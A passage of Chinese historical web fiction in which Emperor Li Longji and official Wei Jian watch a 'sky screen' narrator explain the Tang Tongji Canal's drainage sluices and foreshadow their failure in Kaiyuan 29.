李隆基目光沉沉。
天幕所言,句句属实,若非这条运输网如此重要,他也不至于如此重视韦坚。
【但是如此重要的通济渠也有个致命弱点,那就是泥沙淤积。因此历朝历代都投入了巨资维护渠道。一是征调民工清理淤泥,二是多建排水阀。】
【我手里的这个小玩具就是按照《水部式》复原的缩小版唐代通济渠排水阀。】
【路边随手买的玩具,大体结构是有的,就是不太清晰,大家够合着看看吧。】
【在开元二十九年,整整六百五十里的通济渠上,有四十八坐排水闸,士兵一般守护着这条河流。】
【在多暴雨和易淤堵的汴水,这四十八坐排水阀可以说是通济渠的咽喉命脉,可也正是这一年,这些咽喉命脉,成了河南道的催命符!】
此时此刻,韦坚已经没有心情再关心赐婚的事情了。
通济渠在他管辖范围,排水阀出了问题他难逃其咎。
饶是韦坚不信这天幕,此时此刻,都不得不相信一二了。
因为作为水路转运使他太清楚,通济渠的排水阀,真的有问题。
韦坚不敢看皇帝的脸色,但却感受到李隆基实质性的视线压了下来。
他不知道天幕接下来要说什么,只觉得肩头压力陡然加大,鬓角也渗出了汗。
【根据记载,河南“暴雨既过,泄水之阀尽腐朽也。”】
【是突然的一场暴雨让通济渠那整整四十八座排水阀一起坏了的吗?这排水阀坏掉,究竟是其本身脆弱不堪,还是另有原因呢?】